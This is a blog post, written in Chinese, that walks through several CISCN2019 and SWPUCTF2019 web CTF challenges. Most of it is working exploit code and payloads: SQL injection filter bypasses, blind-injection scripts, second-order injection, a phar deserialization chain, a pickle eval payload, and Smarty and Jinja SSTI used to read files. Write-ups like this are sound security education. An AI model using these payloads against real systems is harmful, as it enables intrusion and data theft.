CISCN2019-部分web[复现]

前言

CISCN2019-web复现

正文

SWPUCTF2019[web1]

考点:union注入,information_schema绕过,无列名注入

注册个账号进入

在发布广告出发现漏洞的触发点

尝试union注入,此处空格被过滤,使用/**/绕过

1
-1'/**/union/**/select/**/1,2,3/**/'

此时报错

image-20200306190040221

这时候去尝试添加列数,添加至22列时,注入成功

1
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20200306190243681

注数据库

1
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在注表名时,information_schema被过滤,参考:https://www.anquanke.com/post/id/193512

1
2
3
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,22/**/'

BUU的环境是没有这个sys.schema_auto_increment_columns这个表的,mysql版本不对吧。这里可以盲猜数据表为users

这里使用无列名注入

1
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20200306191321893

1
-1'/**/union/**/select/**/1,		(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20200306191439059

参考:sql注入(利用join进行无列名注入) - GHD丶 - 博客园

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

考点:phar反序列化,文件读取漏洞

注释里提示可以使用文件读取,这里使用伪协议获得源码:

1
http://xxxx/index.php?file=php://filter/convert.base64-encode/resource=index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
//index.php
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>

//search.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

//change.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

//delete.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

//config.php
<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

delete.php还有search.php这里对参数都有严格的过滤,所以没法进行注入

在change.php中有一个address参数未对其过滤,但是有对其进行转义处理

1
$address = addslashes($_POST["address"]);

这里存在一个二次注入

第一次填写修改地址的时候,会把地址存入数据库,第二次修改地址时,第一次的地址将会作为old_address出现

1
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

exp如下:

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

image-20200306224202421

提交一个订单

image-20200306224308864

第一次修改地址,附上payload

image-20200306224622100

第二次修改地址,就可以获得flag

load_file()的长度不够,所以分两次读取,第二次重复此操作就好,payload如下:

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,40)),0x7e),1)#

[CISCN2019 华北赛区 Day1 Web1]Dropbox

这一题,我们通过文件读取漏洞可以读到所有的源码

注册登录后,到下载页面

image-20200311103044956

在下载处可以下载文件

image-20200311103142130

获得所有的文件

image-20200311103219856

审计代码,在download.phpdelete.php,中均有触发phar反序列化漏洞的代码

均调用了$file->open($filename)

1
2
3
4
5
6
7
8
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

其中is_dir()可触发phar反序列化漏洞

然后调用链看到class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

File类中看到了close()

1
2
3
public function close() {
return file_get_contents($this->filename);
}

这里可以做文件读取,读取文件/flag.txt

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}

$a = new User();
$a->db = new FileList();

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

解释一下:

1
2
$a = new User();
$a->db = new FileList();

此时在$a中执行

1
2
3
public function __destruct() {
$this->db->close();
}

由于FileList类中没有close()方法,所以这时候将会调用该类中的_call()

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

该函数,就是遍历$files中的元素指定为$file,把在该类中不存在的方法$func$file中调用

根据exp,即调用$file = new File();$this->results[File][close] = $file->close();

调用:

1
2
3
public function close() {
return file_get_contents($this->filename);
}

读到flag。

[CISCN2019 华北赛区 Day1 Web2]ikun

image-20200311112214949

题目提示要买lv6

image-20200311112438955

选项很多,不知道lv6在哪儿

写个脚本爆破

1
2
3
4
5
6
7
8
9
10
11
import requests
url = "http://ca99e050-50bd-40c0-a6b4-413286d31bb6.node3.buuoj.cn/shop?page={}"

for i in range(1,1000):
re = requests.get(url.format(str(i)))
if 'lv6.png' in re.text:
print("----------------------------")
print(i)
print("----------------------------")
else:
print("no {}".format(str(i)))

在181页

image-20200311122114521

购买这个项目,然后到购买页面

image-20200311124753255

这里有需要打折扣,抓包修改折扣。

image-20200311125000205

image-20200311124908966

上面的JWT爆破一下,获得秘钥。

image-20200311123330551

然后修改一下这个JWT

image-20200311125112647

抓包,改JWT,然后到这个页面。

image-20200311125235395

在源码中发现信息

image-20200311125503858

下载源码

image-20200311125626537

反序列化的内容参考:https://blog.csdn.net/qq_26406447/article/details/91964502

运行:

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

image-20200311130133493

[CISCN2019 总决赛 Day2 Web1]Easyweb

考察:php短标签,sql注入,文件泄露

存在robots.txt,里面提示有php.bak,尝试后发现image.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
select * from images where id = '\\\0' or path = ''
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

关键代码:

1
2
3
4
5
$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

然后根据

1
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");

我们可以构造如下:

1
select * from images where id='\' or path=' or 1=1 #'

然后构造payload:

1
?id=\0'&path = or 1=1%23

image-20200311175856463

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import  requests

url = "http://9de73950-2d86-4eec-b3bc-3f2c64462a53.node3.buuoj.cn/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
l = 1
r = 130
mid = (l + r)>>1
while(l<r):
payloads = payload.format(i,mid)
print(url+payloads)
html = requests.get(url+payloads)
if "JFIF" in html.text:
l = mid +1
else:
r = mid
mid = (l + r)>>1
result+=chr(mid)
print(result)

username:admin

password:ec1e34b7ba2d156e13c7

因为不允许上传带php的文件名,我们用php短标签来绕过
image-20200311181845820

然后连接antsword获得flag

[CISCN2019 华东南赛区]Web11

考察:smarty-ssti

image-20200311235103852

这里的IP提示我们修改X-Forwarded-For

image-20200311235352922

这里存在SSTI

然后提示有说到这是smarty模块,所以查看版本

1
{smarty.version}

image-20200312000018328

版本是3.1.30

然后这个版本存在漏洞,{if }{/if}可以执行php代码

1
{if readfile('/flag')}{/if}

获得flag

image-20200312000503140

[CISCN2019 华东南赛区]Double Secret

考点:SSTI

随便输点东西,出现报错,考虑到可能有SSTI.

顺带爆出源码

image-20200312105637667

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    return s

secret=request.args.get('secret')

if(secret==None):

return 'Tell me your secret.I will encrypt it so others can\'t see'

rc=rc4_Modified.RC4("HereIsTreasure") #解密

deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'

https://www.cnblogs.com/nongchaoer/p/12431229.html

render_template_string对渲染函数可以触发SSTI

注入的内容是payload经过加密的结果

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import urllib

class RC4:
def __init__(self, key):
self.key = key
self.key_length = len(key)
self._init_S_box()

def _init_S_box(self):
self.Box = [i for i in range(256)]
k = [self.key[i % self.key_length] for i in range(256)]
j = 0
for i in range(256):
j = (j + self.Box[i] + ord(k[i])) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]

def crypt(self, plaintext):
i = 0
j = 0
result = ''
for ch in plaintext:
i = (i + 1) % 256
j = (j + self.Box[i]) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
t = (self.Box[i] + self.Box[j]) % 256
result += chr(self.Box[t] ^ ord(ch))
return result

url='http://879dd696-7b30-4746-99a0-c12f8ed23937.node3.buuoj.cn/secret?secret='
a = RC4('HereIsTreasure')
cmd="{{''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read()}}"
payload = urllib.parse.quote(a.crypt(cmd))
res = requests.get(url + payload)
print(res.text)

[CISCN2019 华东南赛区]Web4

image-20200312145428750

然后我们Read somethings,然后这里的url如下:

1
http://219b4ebc-7e98-44b9-bad5-bd300c115f88.node3.buuoj.cn/read?url=http://xxxxx

这里存在文件读取漏洞

1
http://web55.buuoj.cn/read?url=app.py 读源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

解释一下:/flag读flag的方法是要session['username'] == 'fuck'

关键代码:

1
2
3
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

这个随机数的种子是机器的mac地址

1
?url=/sys/class/net/eth0/address
1
02:42:ae:01:03:b5

exp:https://github.com/glzjin/CISCN_2019_southeastern_China_web4/tree/master/exp

用于破解随机数,生成新的session

访问/flag,替换原有session,获得flag

image-20200312145428750

Author: 我是小吴啦
Link: http://yoursite.com/2020/03/13/CISCN2019-web-%E5%A4%8D%E7%8E%B0/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.